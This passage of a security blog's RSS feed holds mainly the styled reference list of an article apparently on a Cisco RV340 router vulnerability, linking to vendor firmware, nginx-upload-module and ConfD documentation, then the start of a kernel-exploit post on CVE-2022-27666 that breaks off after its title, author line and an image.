</span><em style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://www.iot-inspector.com/blog/advisory-cisco-rv340-dual-wan-gigabit-vpn-router-rce-over-lan/" target="_blank">https://www.iot-inspector.com/blog/advisory-cisco-rv340-dual-wan-gigabit-vpn-router-rce-over-lan/</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 12.6px;opacity: 0.6;">[4]</code><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"> 1.0.03.24: </span><em style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.24" target="_blank">https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.24</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 12.6px;opacity: 0.6;">[5]</code><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"> Nginx-upload-module中文文档: </span><em style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://blog.osf.cn/2020/06/30/nginx-upload-module/" target="_blank">https://blog.osf.cn/2020/06/30/nginx-upload-module/</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 12.6px;opacity: 0.6;">[6]</code><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"> ConfD User Guide: </span><em style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf" target="_blank">https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 12.6px;opacity: 0.6;">[7]</code><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"> multipart-parser-c: </span><em style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://github.com/iafonov/multipart-parser-c" target="_blank">https://github.com/iafonov/multipart-parser-c</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 12.6px;opacity: 0.6;">[8]</code><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"> tail-f: </span><em style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://www.tail-f.com/" target="_blank">https://www.tail-f.com/</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 12.6px;opacity: 0.6;">[9]</code><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"> ConfD User Guide: </span><em style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf" target="_blank">https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 12.6px;opacity: 0.6;">[10]</code><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"> ConfD User Guide: </span><em style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf" target="_blank">https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 12.6px;opacity: 0.6;">[11]</code><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"> 官网: </span><em style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.26" target="_blank">https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.26</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 12.6px;opacity: 0.6;">[12]</code><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"> Nginx-upload-module中文文档: </span><em style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://blog.osf.cn/2020/06/30/nginx-upload-module/" target="_blank">https://blog.osf.cn/2020/06/30/nginx-upload-module/</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 12.6px;opacity: 0.6;">[13]</code><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"> nginx介绍和常用模块配置: </span><em style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://www.liuvv.com/p/7245bfc7.html" target="_blank">https://www.liuvv.com/p/7245bfc7.html</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 12.6px;opacity: 0.6;">[14]</code><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"> ConfD User Guide: </span><em style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf" target="_blank">https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 12.6px;opacity: 0.6;">[15]</code><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"> ConfD Basic学习手记: </span><em style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://marvinsblog.net/post/2019-09-26-confd-basic/" target="_blank">https://marvinsblog.net/post/2019-09-26-confd-basic/</a></em><br/></section><p><br/></p>



<p><a href="2247483702">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=750610f4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3OTc2NTMxNA%3D%3D%26mid%3D2247483702%26idx%3D1%26sn%3D013a96467ddfc9d495d820d10bdc4217%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 22 Apr 2022 10:36:00 +0800</pubDate>
    </item>
    <item>
      <title>【kernel exploit】从 PWN2OWN CVE-2022-27666 看内核页风水</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3OTc2NTMxNA==&amp;mid=2247483697&amp;idx=1&amp;sn=4514d56709cdc6c8c52ab2dee55b8bda</link>
      <description>【kernel exploit】从 PWN2OWN CVE-2022-27666 看内核页风水</description>
      <content:encoded><![CDATA[<p>
<span>v1n3gar</span> <span>2022-04-19 08:59</span> <span style="display: inline-block;"></span>
</p>

<p>【kernel exploit】从 PWN2OWN CVE-2022-27666 看内核页风水</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=bde292c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FRcjPiba6l3dofY9zytj2Nsda2qP8MUphb7W2uiaPPpiacf676mL6thmynXQvdD37nNrhiao9S3ibJK2ZPfPYrTuPzicg%2F0%3Fwx_fmt%3Djpeg"/>
